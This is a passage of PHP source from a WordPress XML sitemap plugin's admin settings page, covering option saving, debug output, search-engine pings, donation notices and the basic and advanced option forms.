if(preg_match("/pass|login|pw|secret|user|usr|key|auth|token/si",$k)) continue;
$popts[$k] = htmlspecialchars($v);
}
print_r($popts);
echo "</pre>";
echo '<h4>Sitemap Config</h4>';
echo "<pre>";
print_r($this->sg->GetOptions());
echo "</pre>";
echo '<h3>Sitemap Content and Errors, Warnings, Notices</h3>';
echo '<div>';
$sitemaps = $this->sg->SimulateIndex();
foreach($sitemaps AS $sitemap) {
/** @var $s GoogleSitemapGeneratorSitemapEntry */
$s = $sitemap["data"];
echo "<h4>Sitemap: <a href=\"" . $s->GetUrl() . "\">" . $sitemap["type"] . "/" . ($sitemap["params"]?$sitemap["params"]:"(No parameters)") . "</a> by " . $sitemap["caller"]["class"] . "</h4>";
$res = $this->sg->SimulateSitemap($sitemap["type"], $sitemap["params"]);
echo "<ul style='padding-left:10px;'>";
foreach($res AS $s) {
/** @var $d GoogleSitemapGeneratorSitemapEntry */
$d = $s["data"];
echo "<li>" . $d->GetUrl() . "</li>";
}
echo "</ul>";
}
$status = GoogleSitemapGeneratorStatus::Load();
echo '</div>';
echo '<h3>MySQL Queries</h3>';
if(defined('SAVEQUERIES') && SAVEQUERIES) {
echo '<pre>';
var_dump($GLOBALS['wpdb']->queries);
echo '</pre>';
$total = 0;
foreach($GLOBALS['wpdb']->queries as $q) {
$total+=$q[1];
}
echo '<h4>Total Query Time</h4>';
echo '<pre>' . count($GLOBALS['wpdb']->queries) . ' queries in ' . round($total,2) . ' seconds.</pre>';
} else {
echo '<p>Please edit wp-db.inc.php in wp-includes and set SAVEQUERIES to true if you want to see the queries.</p>';
}
echo "<h3>Build Process Results</h3>";
echo "<pre>";
print_r($status);
echo "</pre>";
echo '<p>Done. <a href="' . wp_nonce_url($this->sg->GetBackLink() . "&sm_rebuild=true&sm_do_debug=true",'sitemap') . '">Rebuild</a> or <a href="' . $this->sg->GetBackLink() . '">Return</a></p>';
echo '<p style="font-weight:bold; color:red; padding:5px; border:1px red solid; text-align:center;">DO NOT POST THIS INFORMATION ON PUBLIC PAGES LIKE SUPPORT FORUMS AS IT MAY CONTAIN PASSWORDS OR SECRET SERVER INFORMATION!</p>';
echo '</div>';
@error_reporting($oldErr);
@ini_set("display_errors",$oldIni);
return;
} else {
$redirURL = $this->sg->GetBackLink() . '&sm_fromrb=true';
//Redirect so the sm_rebuild GET parameter no longer exists.
@header("location: " . $redirURL);
//If there was already any other output, the header redirect will fail
echo '<script type="text/javascript">location.replace("' . $redirURL . '");</script>';
echo '<noscript><a href="' . $redirURL . '">Click here to continue</a></noscript>';
exit;
}
} else if (!empty($_POST['sm_update'])) { //Pressed Button: Update Config
check_admin_referer('sitemap');
if(isset($_POST['sm_b_style']) && $_POST['sm_b_style'] == $this->sg->getDefaultStyle()) {
$_POST['sm_b_style_default'] = true;
$_POST['sm_b_style'] = '';
}
foreach($this->sg->GetOptions() as $k=>$v) {
//Skip some options if the user is not super admin...
if(!is_super_admin() && in_array($k,array("sm_b_time","sm_b_memory","sm_b_style","sm_b_style_default"))) {
continue;
}
//Check vor values and convert them into their types, based on the category they are in
if(!isset($_POST[$k])) $_POST[$k]=""; // Empty string will get false on 2bool and 0 on 2float
//Options of the category "Basic Settings" are boolean, except the filename and the autoprio provider
if(substr($k,0,5)=="sm_b_") {
if($k=="sm_b_prio_provider" || $k == "sm_b_style" || $k == "sm_b_memory" || $k == "sm_b_baseurl") {
if($k=="sm_b_filename_manual" && strpos($_POST[$k],"\\")!==false){
$_POST[$k]=stripslashes(self::escape($_POST[$k]));
} else if($k=="sm_b_baseurl") {
$_POST[$k] = esc_url_raw(trim(self::escape($_POST[$k])));
if(!empty($_POST[$k])) $_POST[$k] = untrailingslashit($_POST[$k]);
} else if($k=="sm_b_style") {
$_POST[$k] = esc_url_raw(trim(self::escape($_POST[$k])));
if(!empty($_POST[$k])) $_POST[$k] = untrailingslashit($_POST[$k]);
}
$this->sg->SetOption($k,(string) $_POST[$k]);
} else if($k == "sm_b_time") {
if($_POST[$k]=='') $_POST[$k] = -1;
$this->sg->SetOption($k,intval($_POST[$k]));
} else if($k== "sm_i_install_date") {
if($this->sg->GetOption('i_install_date')<=0) $this->sg->SetOption($k,time());
} else if($k=="sm_b_exclude") {
$IDss = array();
$IDs = explode(",",$_POST[$k]);
for($x = 0; $x<count($IDs); $x++) {
$ID = intval(trim($IDs[$x]));
if($ID>0) $IDss[] = $ID;
}
$this->sg->SetOption($k,$IDss);
} else if($k == "sm_b_exclude_cats") {
$exCats = array();
if(isset($_POST["post_category"])) {
foreach((array) $_POST["post_category"] AS $vv) if(!empty($vv) && is_numeric($vv)) $exCats[] = intval($vv);
}
$this->sg->SetOption($k,$exCats);
} else {
$this->sg->SetOption($k,(bool) $_POST[$k]);
}
//Options of the category "Includes" are boolean
} else if(substr($k,0,6)=="sm_in_") {
if($k=='sm_in_tax') {
$enabledTaxonomies = array();
foreach(array_keys((array) $_POST[$k]) AS $taxName) {
if(empty($taxName) || !taxonomy_exists($taxName)) continue;
$enabledTaxonomies[] = self::escape($taxName);
}
$this->sg->SetOption($k,$enabledTaxonomies);
} else if($k=='sm_in_customtypes') {
$enabledPostTypes = array();
foreach(array_keys((array) $_POST[$k]) AS $postTypeName) {
if(empty($postTypeName) || !post_type_exists($postTypeName)) continue;
$enabledPostTypes[] = self::escape($postTypeName);
}
$this->sg->SetOption($k, $enabledPostTypes);
} else $this->sg->SetOption($k,(bool) $_POST[$k]);
//Options of the category "Change frequencies" are string
} else if(substr($k,0,6)=="sm_cf_") {
$this->sg->SetOption($k,(string) self::escape($_POST[$k]));
//Options of the category "Priorities" are float
} else if(substr($k,0,6)=="sm_pr_") {
$this->sg->SetOption($k,(float) $_POST[$k]);
}
}
//Apply page changes from POST
if(is_super_admin()) $this->sg->SetPages($this->HtmlApplyPages());
if($this->sg->SaveOptions()) $message.=__('Configuration updated', 'sitemap') . "<br />";
else $message.=__('Error while saving options', 'sitemap') . "<br />";
if(is_super_admin()) {
if($this->sg->SavePages()) $message.=__("Pages saved",'sitemap') . "<br />";
else $message.=__('Error while saving pages', 'sitemap'). "<br />";
}
} else if(!empty($_POST["sm_reset_config"])) { //Pressed Button: Reset Config
check_admin_referer('sitemap');
$this->sg->InitOptions();
$this->sg->SaveOptions();
$message.=__('The default configuration was restored.','sitemap');
} else if(!empty($_GET["sm_delete_old"])) { //Delete old sitemap files
check_admin_referer('sitemap');
//Check again, just for the case that something went wrong before
if(!current_user_can("administrator")) {
echo '<p>Please log in as admin</p>';
return;
}
if(!$this->sg->DeleteOldFiles()) {
$message = __("The old files could NOT be deleted. Please use an FTP program and delete them by yourself.","sitemap");
} else {
$message = __("The old files were successfully deleted.","sitemap");
}
} else if(!empty($_GET["sm_ping_all"])) {
check_admin_referer('sitemap');
//Check again, just for the case that something went wrong before
if(!current_user_can("administrator")) {
echo '<p>Please log in as admin</p>';
return;
}
echo <<<HTML
<html>
<head>
<style type="text/css">
html {
background: #f1f1f1;
}
body {
color: #444;
font-family: "Open Sans", sans-serif;
font-size: 13px;
line-height: 1.4em;
min-width: 600px;
}
h2 {
font-size: 23px;
font-weight: 400;
padding: 9px 10px 4px 0;
line-height: 29px;
}
</style>
</head>
<body>
HTML;
echo "<h2>" . __('Notify Search Engines about all sitemaps','sitemap') ."</h2>";
echo "<p>" . __('The plugin is notifying the selected search engines about your main sitemap and all sub-sitemaps. This might take a minute or two.','sitemaps') . "</p>";
flush();
$results = $this->sg->SendPingAll();
echo "<ul>";
foreach($results AS $result) {
$sitemapUrl = $result["sitemap"];
/** @var $status GoogleSitemapGeneratorStatus */
$status = $result["status"];
echo "<li><a href=\"" . esc_url($sitemapUrl) . "\">" . $sitemapUrl . "</a><ul>";
$services = $status->GetUsedPingServices();
foreach($services AS $serviceId) {
echo "<li>";
echo $status->GetServiceName($serviceId) . ": " . ($status->GetPingResult($serviceId)==true?"OK":"ERROR");
echo "</li>";
}
echo "</ul></li>";
}
echo "</ul>";
echo "<p>" . __('All done!','sitemap') . "</p>";
echo <<<HTML
</body>
HTML;
exit;
} else if(!empty($_GET["sm_ping_main"])) {
check_admin_referer('sitemap');
//Check again, just for the case that something went wrong before
if(!current_user_can("administrator")) {
echo '<p>Please log in as admin</p>';
return;
}
$this->sg->SendPing();
$message = __("Ping was executed, please see below for the result.","sitemap");
}
//Print out the message to the user, if any
if($message!="") {
?>
<div class="updated"><p><strong><?php
echo $message;
?></strong></p></div><?php
}
if(!$snl) {
if(isset($_GET['sm_hidedonate'])) {
$this->sg->SetOption('i_hide_donated',true);
$this->sg->SaveOptions();
}
if(isset($_GET['sm_donated'])) {
$this->sg->SetOption('i_donated',true);
$this->sg->SaveOptions();
}
if(isset($_GET['sm_hide_note'])) {
$this->sg->SetOption('i_hide_note',true);
$this->sg->SaveOptions();
}
if(isset($_GET['sm_hide_survey'])) {
$this->sg->SetOption('i_hide_survey',true);
$this->sg->SaveOptions();
}
if(isset($_GET['sm_hidedonors'])) {
$this->sg->SetOption('i_hide_donors',true);
$this->sg->SaveOptions();
}
if(isset($_GET['sm_hide_works'])) {
$this->sg->SetOption('i_hide_works',true);
$this->sg->SaveOptions();
}
if(isset($_GET['sm_disable_supportfeed'])) {
$this->sg->SetOption('i_supportfeed',$_GET["sm_disable_supportfeed"]=="true"?false:true);
$this->sg->SaveOptions();
}
if(isset($_GET['sm_donated']) || ($this->sg->GetOption('i_donated')===true && $this->sg->GetOption('i_hide_donated')!==true)) {
?>
<!--
<div class="updated">
<strong><p><?php _e('Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!','sitemap'); ?> <a href="<?php echo $this->sg->GetBackLink() . "&sm_hidedonate=true"; ?>"><small style="font-weight:normal;"><?php _e('Hide this notice', 'sitemap'); ?></small></a></p></strong>
</div>
-->
<?php
} else if($this->sg->GetOption('i_donated') !== true && $this->sg->GetOption('i_install_date')>0 && $this->sg->GetOption('i_hide_note')!==true && time() > ($this->sg->GetOption('i_install_date') + (60*60*24*30))) {
?>
<!--
<div class="updated">
<strong><p><?php echo str_replace("%s",$this->sg->GetRedirectLink("sitemap-donate-note"),__('Thanks for using this plugin! You\'ve installed this plugin over a month ago. If it works and you are satisfied with the results, isn\'t it worth at least a few dollar? <a href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-donate-note">Donations</a> help me to continue support and development of this <i>free</i> software! <a href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-donate-note">Sure, no problem!</a>','sitemap')); ?> <a href="<?php echo $this->sg->GetBackLink() . "&sm_donated=true"; ?>" style="float:right; display:block; border:none; margin-left:10px;"><small style="font-weight:normal; "><?php _e('Sure, but I already did!', 'sitemap'); ?></small></a> <a href="<?php echo $this->sg->GetBackLink() . "&sm_hide_note=true"; ?>" style="float:right; display:block; border:none;"><small style="font-weight:normal; "><?php _e('No thanks, please don\'t bug me anymore!', 'sitemap'); ?></small></a></p></strong>
<div style="clear:right;"></div>
</div>
-->
<?php
} else if($this->sg->GetOption('i_install_date')>0 && $this->sg->GetOption('i_hide_works')!==true && time() > ($this->sg->GetOption('i_install_date') + (60*60*24*15))) {
?>
<div class="updated">
<strong><p><?php echo str_replace("%s",$this->sg->GetRedirectLink("sitemap-works-note"),__('Thanks for using this plugin! You\'ve installed this plugin some time ago. If it works and your are satisfied, why not <a href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-works-note">rate it</a> and <a href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-works-note">recommend it</a> to others? :-)','sitemap')); ?> <a href="<?php echo $this->sg->GetBackLink() . "&sm_hide_works=true"; ?>" style="float:right; display:block; border:none;"><small style="font-weight:normal; "><?php _e('Don\'t show this anymore', 'sitemap'); ?></small></a></p></strong>
<div style="clear:right;"></div>
</div>
<?php
}
if ($this->sg->ShowSurvey())
$this->sg->HtmlSurvey();
}
?>
<style type="text/css">
li.sm_hint {
color:green;
}
li.sm_optimize {
color:orange;
}
li.sm_error {
color:red;
}
input.sm_warning:hover {
background: #ce0000;
color: #fff;
}
a.sm_button {
padding:4px;
display:block;
padding-left:25px;
background-repeat:no-repeat;
background-position:5px 50%;
text-decoration:none;
border:none;
}
a.sm_button:hover {
border-bottom-width:1px;
}
a.sm_donatePayPal {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-paypal.gif);
}
a.sm_donateAmazon {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-amazon.gif);
}
a.sm_pluginHome {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-arne.gif);
}
a.sm_pluginHelp {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-help.png);
}
a.sm_pluginList {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-email.gif);
}
a.sm_pluginSupport {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-wordpress.gif);
}
a.sm_pluginBugs {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-trac.gif);
}
a.sm_resGoogle {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-google.gif);
}
a.sm_resYahoo {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-yahoo.gif);
}
a.sm_resBing {
background-image:url(<?php echo $this->sg->GetPluginUrl(); ?>img/icon-bing.gif);
}
div.sm-update-nag p {
margin:5px;
}
.sm-padded .inside {
margin: 12px !important;
}
.sm-padded .inside ul {
margin: 6px 0 12px 0;
}
.sm-padded .inside input {
padding: 1px;
margin: 0;
}
.hndle {
cursor:auto!important;
-webkit-user-select:auto!important;
-moz-user-select:auto!important;
-ms-user-select:auto!important;
user-select:auto!important;
}
<?php if (version_compare($wp_version, "3.4", "<")): //Fix style for WP 3.4 (dirty way for now..) ?>
.inner-sidebar #side-sortables, .columns-2 .inner-sidebar #side-sortables {
min-height: 300px;
width: 280px;
padding: 0;
}
.has-right-sidebar .inner-sidebar {
display: block;
}
.inner-sidebar {
float: right;
clear: right;
display: none;
width: 281px;
position: relative;
}
.has-right-sidebar #post-body-content {
margin-right: 300px;
}
#post-body-content {
width: auto !important;
float: none !important;
}
<?php endif; ?>
</style>
<div class="wrap" id="sm_div">
<form method="post" action="<?php echo $this->sg->GetBackLink() ?>">
<h2><?php _e('XML Sitemap Generator for WordPress', 'sitemap'); echo " " . $this->sg->GetVersion() ?> </h2>
<?php
if(get_option('blog_public')!=1) {
?><div class="error"><p><?php echo str_replace("%s","options-reading.php#blog_public",__('Your site is currently blocking search engines! Visit the <a href="%s">Reading Settings</a> to change this.','sitemap')); ?></p></div><?php
}
?>
<?php if(!$snl): ?>
<div id="poststuff" class="metabox-holder has-right-sidebar">
<div class="inner-sidebar">
<div id="side-sortables" class="meta-box-sortabless ui-sortable" style="position:relative;">
<?php else: ?>
<div id="poststuff" class="metabox-holder">
<?php endif; ?>
<?php if(!$snl): ?>
<?php $this->HtmlPrintBoxHeader('sm_pnres',__('About this Plugin:','sitemap'),true); ?>
<a class="sm_button sm_pluginHome" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-home"><?php _e('Plugin Homepage','sitemap'); ?></a>
<a class="sm_button sm_pluginHome" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-feedback"><?php _e('Suggest a Feature','sitemap'); ?></a>
<a class="sm_button sm_pluginHelp" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-help"><?php _e('Help / FAQ','sitemap'); ?></a>
<a class="sm_button sm_pluginList" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-list"><?php _e('Notify List','sitemap'); ?></a>
<a class="sm_button sm_pluginSupport" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-support"><?php _e('Support Forum','sitemap'); ?></a>
<a class="sm_button sm_pluginBugs" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-bugs"><?php _e('Report a Bug','sitemap'); ?></a>
<?php if(__('translator_name','sitemap')!='translator_name') {?><a class="sm_button sm_pluginSupport" href="<?php _e('translator_url','sitemap'); ?>"><?php _e('translator_name','sitemap'); ?></a><?php } ?>
<?php $this->HtmlPrintBoxFooter(true); ?>
<?php $this->HtmlPrintBoxHeader('sm_smres',__('Sitemap Resources:','sitemap'),true); ?>
<a class="sm_button sm_resGoogle" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-gwt"><?php _e('Webmaster Tools','sitemap'); ?></a>
<a class="sm_button sm_resGoogle" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-gwb"><?php _e('Webmaster Blog','sitemap'); ?></a>
<a class="sm_button sm_resYahoo" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-ywb"><?php _e('Search Blog','sitemap'); ?></a>
<a class="sm_button sm_resBing" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-lwt"><?php _e('Webmaster Tools','sitemap'); ?></a>
<a class="sm_button sm_resBing" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-lswcb"><?php _e('Webmaster Center Blog','sitemap'); ?></a>
<br />
<a class="sm_button sm_resGoogle" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-prot"><?php _e('Sitemaps Protocol','sitemap'); ?></a>
<a class="sm_button sm_resGoogle" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-ofat"><?php _e('Official Sitemaps FAQ','sitemap'); ?></a>
<a class="sm_button sm_pluginHome" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-afaq"><?php _e('My Sitemaps FAQ','sitemap'); ?></a>
<?php $this->HtmlPrintBoxFooter(true); ?>
</div>
</div>
<?php endif; ?>
<div class="has-sidebar sm-padded" >
<div id="post-body-content" class="<?php if(!$snl): ?>has-sidebar-content<?php endif; ?>">
<div class="meta-box-sortabless">
<!-- Rebuild Area -->
<?php
$status = GoogleSitemapGeneratorStatus::Load();
$head = __('Search engines haven\'t been notified yet','sitemap');
if($status != null && $status->GetStartTime() > 0) {
$st=$status->GetStartTime() + (get_option( 'gmt_offset' ) * 3600);
$head=str_replace("%date%",date_i18n(get_option('date_format'),$st) . " " . date_i18n(get_option('time_format'),$st),__('Result of the last ping, started on %date%.','sitemap'));
}
$this->HtmlPrintBoxHeader('sm_rebuild',$head); ?>
<div style="border-left: 1px #DFDFDF solid; float:right; padding-left:15px; margin-left:10px; width:35%;">
<strong><?php _e('Recent Support Topics / News','sitemap'); ?></strong>
<?php
if($this->sg->GetOption('i_supportfeed')) {
echo "<small><a href=\"" . wp_nonce_url($this->sg->GetBackLink() . "&sm_disable_supportfeed=true") . "\">" . __('Disable','sitemap') . "</a></small>";
$supportFeed = $this->sg->GetSupportFeed();
if (!is_wp_error($supportFeed) && $supportFeed) {
$supportItems = $supportFeed->get_items(0, $supportFeed->get_item_quantity(3));
if(count($supportItems)>0) {
echo "<ul>";
foreach($supportItems AS $item) {
$url = esc_url($item->get_permalink());
$title = esc_html($item->get_title());
echo "<li><a rel=\"external\" target=\"_blank\" href=\"{$url}\">{$title}</a></li>";
}
echo "</ul>";
}
} else {
echo "<ul><li>" . __('No support topics available or an error occurred while fetching them.','sitemap') . "</li></ul>";
}
} else {
echo "<ul><li>" . __('Support Topics have been disabled. Enable them to see useful information regarding this plugin. No Ads or Spam!','sitemap') . " " . "<a href=\"" . wp_nonce_url($this->sg->GetBackLink() . "&sm_disable_supportfeed=false") . "\">" . __('Enable','sitemap') . "</a>". "</li></ul>";
}
?>
</div>
<div style="min-height:150px;">
<ul>
<?php
if($this->sg->OldFileExists()) {
echo "<li class=\"sm_error\">" . str_replace("%s",wp_nonce_url($this->sg->GetBackLink() . "&sm_delete_old=true",'sitemap'),__('There is still a sitemap.xml or sitemap.xml.gz file in your site directory. Please delete them as no static files are used anymore or <a href="%s">try to delete them automatically</a>.','sitemap')) . "</li>";
}
echo "<li>" . str_replace("%s", esc_url($this->sg->getXmlUrl()),__('The URL to your sitemap index file is: <a href="%s">%s</a>.','sitemap')) . "</li>";
if($status == null) {
echo "<li>" . __('Search engines haven\'t been notified yet. Write a post to let them know about your sitemap.','sitemap') . "</li>";
} else {
$services = $status->GetUsedPingServices();
foreach($services AS $service) {
$name = $status->GetServiceName($service);
if($status->GetPingResult($service)) {
echo "<li>" . sprintf(__("%s was <b>successfully notified</b> about changes.",'sitemap'),$name). "</li>";
$dur = $status->GetPingDuration($service);
if($dur > 4) {
echo "<li class=\sm_optimize\">" . str_replace(array("%time%","%name%"),array($dur,$name),__("It took %time% seconds to notify %name%, maybe you want to disable this feature to reduce the building time.",'sitemap')) . "</li>";
}
} else {
echo "<li class=\"sm_error\">" . str_replace(array("%s","%name%"),array(wp_nonce_url($this->sg->GetBackLink() . "&sm_ping_service=" . $service . "&noheader=true",'sitemap'),$name),__('There was a problem while notifying %name%. <a href="%s" target="_blank">View result</a>','sitemap')) . "</li>";
}
}
}
?>
<?php if($this->sg->GetOption('b_ping') || $this->sg->GetOption('b_pingmsn')): ?>
<li>
Notify Search Engines about <a href="<?php echo wp_nonce_url($this->sg->GetBackLink() . "&sm_ping_main=true",'sitemap'); ?>">your sitemap </a> or <a href="#" onclick="window.open('<?php echo wp_nonce_url($this->sg->GetBackLink() . "&sm_ping_all=true&noheader=true",'sitemap'); ?>','','width=650, height=500, resizable=yes'); return false;">your main sitemap and all sub-sitemaps</a> now.
</li>
<?php endif; ?>
<?php if(is_super_admin()) echo "<li>" . str_replace("%d",wp_nonce_url($this->sg->GetBackLink() . "&sm_rebuild=true&sm_do_debug=true",'sitemap'),__('If you encounter any problems with your sitemap you can use the <a href="%d">debug function</a> to get more information.','sitemap')) . "</li>"; ?>
</ul>
<ul>
<li>
<?php echo sprintf(__('If you like the plugin, please <a target="_blank" href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-works-note">rate it 5 stars</a>! :)','sitemap'),$this->sg->GetRedirectLink('sitemap-works-note'),$this->sg->GetRedirectLink('sitemap-paypal')); ?>
</li>
</ul>
</div>
<?php $this->HtmlPrintBoxFooter(); ?>
<?php if($this->sg->IsNginx() && $this->sg->IsUsingPermalinks()): ?>
<?php $this->HtmlPrintBoxHeader('ngin_x',__('Webserver Configuration', 'sitemap')); ?>
<?php _e('Since you are using Nginx as your web-server, please configure the following rewrite rules in case you get 404 Not Found errors for your sitemap:','sitemap'); ?>
<p>
<code style="display:block; overflow-x:auto; white-space: nowrap;">
<?php
$rules = GoogleSitemapGeneratorLoader::GetNginXRules();
foreach($rules AS $rule) {
echo $rule . "<br />";
}
?>
</code>
</p>
<?php $this->HtmlPrintBoxFooter(); ?>
<?php endif; ?>
<!-- Basic Options -->
<?php $this->HtmlPrintBoxHeader('sm_basic_options',__('Basic Options', 'sitemap')); ?>
<b><?php _e('Update notification:','sitemap'); ?></b> <a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-ping'); ?>"><?php _e('Learn more','sitemap'); ?></a>
<ul>
<li>
<input type="checkbox" id="sm_b_ping" name="sm_b_ping" <?php echo ($this->sg->GetOption("b_ping")==true?"checked=\"checked\"":"") ?> />
<label for="sm_b_ping"><?php _e('Notify Google about updates of your site', 'sitemap') ?></label><br />
<small><?php echo str_replace("%s",$this->sg->GetRedirectLink('sitemap-gwt'),__('No registration required, but you can join the <a href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-gwt">Google Webmaster Tools</a> to check crawling statistics.','sitemap')); ?></small>
</li>
<li>
<input type="checkbox" id="sm_b_pingmsn" name="sm_b_pingmsn" <?php echo ($this->sg->GetOption("b_pingmsn")==true?"checked=\"checked\"":"") ?> />
<label for="sm_b_pingmsn"><?php _e('Notify Bing (formerly MSN Live Search) about updates of your site', 'sitemap') ?></label><br />
<small><?php echo str_replace("%s",$this->sg->GetRedirectLink('sitemap-lwt'),__('No registration required, but you can join the <a href="https://8rkh4sskhh.execute-api.us-east-1.amazonaws.com/gsg/v1/sitemap-lwt">Bing Webmaster Tools</a> to check crawling statistics.','sitemap')); ?></small>
</li>
<li>
<label for="sm_b_robots">
<input type="checkbox" id="sm_b_robots" name="sm_b_robots" <?php echo ($this->sg->GetOption("b_robots")==true?"checked=\"checked\"":"") ?> />
<?php _e("Add sitemap URL to the virtual robots.txt file.",'sitemap'); ?>
</label>
<br />
<small><?php _e('The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the site directory!','sitemap'); ?></small>
</li>
</ul>
<?php if(is_super_admin()): ?>
<b><?php _e('Advanced options:','sitemap'); ?></b> <a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-adv'); ?>"><?php _e('Learn more','sitemap'); ?></a>
<ul>
<li>
<label for="sm_b_memory"><?php _e('Try to increase the memory limit to:', 'sitemap') ?> <input type="text" name="sm_b_memory" id="sm_b_memory" style="width:40px;" value="<?php echo esc_attr($this->sg->GetOption("b_memory")); ?>" /></label> (<?php echo htmlspecialchars(__('e.g. "4M", "16M"', 'sitemap')); ?>)
</li>
<li>
<label for="sm_b_time"><?php _e('Try to increase the execution time limit to:', 'sitemap') ?> <input type="text" name="sm_b_time" id="sm_b_time" style="width:40px;" value="<?php echo esc_attr(($this->sg->GetOption("b_time")===-1?'':$this->sg->GetOption("b_time"))); ?>" /></label> (<?php echo htmlspecialchars(__('in seconds, e.g. "60" or "0" for unlimited', 'sitemap')) ?>)
</li>
<li>
<label for="sm_b_autozip">
<input type="checkbox" id="sm_b_autozip" name="sm_b_autozip" <?php echo ($this->sg->GetOption("b_autozip")==true?"checked=\"checked\"":"") ?> />
<?php _e('Try to automatically compress the sitemap if the requesting client supports it.', 'sitemap') ?>
</label><br />
<small><?php _e('Disable this option if you get garbled content or encoding errors in your sitemap.','sitemap'); ?></small>
</li>
<li>
<?php $useDefStyle = ($this->sg->GetDefaultStyle() && $this->sg->GetOption('b_style_default')===true); ?>
<label for="sm_b_style"><?php _e('Include a XSLT stylesheet:', 'sitemap') ?> <input <?php echo ($useDefStyle?'disabled="disabled" ':'') ?> type="text" name="sm_b_style" id="sm_b_style" value="<?php echo esc_attr($this->sg->GetOption("b_style")); ?>" /></label>
(<?php _e('Full or relative URL to your .xsl file', 'sitemap') ?>) <?php if($this->sg->GetDefaultStyle()): ?><label for="sm_b_style_default"><input <?php echo ($useDefStyle?'checked="checked" ':'') ?> type="checkbox" id="sm_b_style_default" name="sm_b_style_default" onclick="document.getElementById('sm_b_style').disabled = this.checked;" /> <?php _e('Use default', 'sitemap') ?></label> <?php endif; ?>
</li>
<li>
<label for="sm_b_baseurl"><?php _e('Override the base URL of the sitemap:', 'sitemap') ?> <input type="text" name="sm_b_baseurl" id="sm_b_baseurl" value="<?php echo esc_attr($this->sg->GetOption("b_baseurl")); ?>" /></label><br />
<small><?php _e('Use this if your site is in a sub-directory, but you want the sitemap be located in the root. Requires .htaccess modification.','sitemap'); ?> <a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-adv-baseurl'); ?>"><?php _e('Learn more','sitemap'); ?></a></small>
</li>
<li>
<label for="sm_b_html">
<input type="checkbox" id="sm_b_html" name="sm_b_html" <?php if(!$this->sg->IsXslEnabled()) echo 'disabled="disabled"'; ?> <?php echo ($this->sg->GetOption("b_html")==true && $this->sg->IsXslEnabled()?"checked=\"checked\"":"") ?> />
<?php _e('Include sitemap in HTML format', 'sitemap') ?> <?php if(!$this->sg->IsXslEnabled()) _e('(The required PHP XSL Module is not installed)', 'sitemap') ?>
</label>
</li>
<li>
<label for="sm_b_stats">
<input type="checkbox" id="sm_b_stats" name="sm_b_stats" <?php echo ($this->sg->GetOption("b_stats")==true?"checked=\"checked\"":"") ?> />
<?php _e('Allow anonymous statistics (no personal information)', 'sitemap') ?>
</label> <label><a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-adv-stats'); ?>"><?php _e('Learn more','sitemap'); ?></a></label>
</li>
</ul>
<?php endif; ?>
<?php $this->HtmlPrintBoxFooter(); ?>
<?php if(is_super_admin()): ?>
<?php $this->HtmlPrintBoxHeader('sm_pages',__('Additional Pages', 'sitemap')); ?>
<?php
_e('Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Site/WordPress.<br />For example, if your domain is www.foo.com and your site is located on www.foo.com/site you might want to include your homepage at www.foo.com','sitemap');
echo "<ul><li>";
echo "<strong>" . __('Note','sitemap'). "</strong>: ";
_e("If your site is in a subdirectory and you want to add pages which are NOT in the site directory or beneath, you MUST place your sitemap file in the root directory (Look at the "Location of your sitemap file" section on this page)!",'sitemap');
echo "</li><li>";
echo "<strong>" . __('URL to the page','sitemap'). "</strong>: ";
_e("Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home ",'sitemap');
echo "</li><li>";
echo "<strong>" . __('Priority','sitemap') . "</strong>: ";
_e("Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint.",'sitemap');
echo "</li><li>";
echo "<strong>" . __('Last Changed','sitemap'). "</strong>: ";
_e("Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional).",'sitemap');
echo "</li></ul>";
?>
<script type="text/javascript">
//<![CDATA[
<?php
$freqVals = "'" . implode("','",array_keys($this->sg->GetFreqNames())). "'";
$freqNames = "'" . implode("','",array_values($this->sg->GetFreqNames())). "'";
?>
var changeFreqVals = [<?php echo $freqVals; ?>];
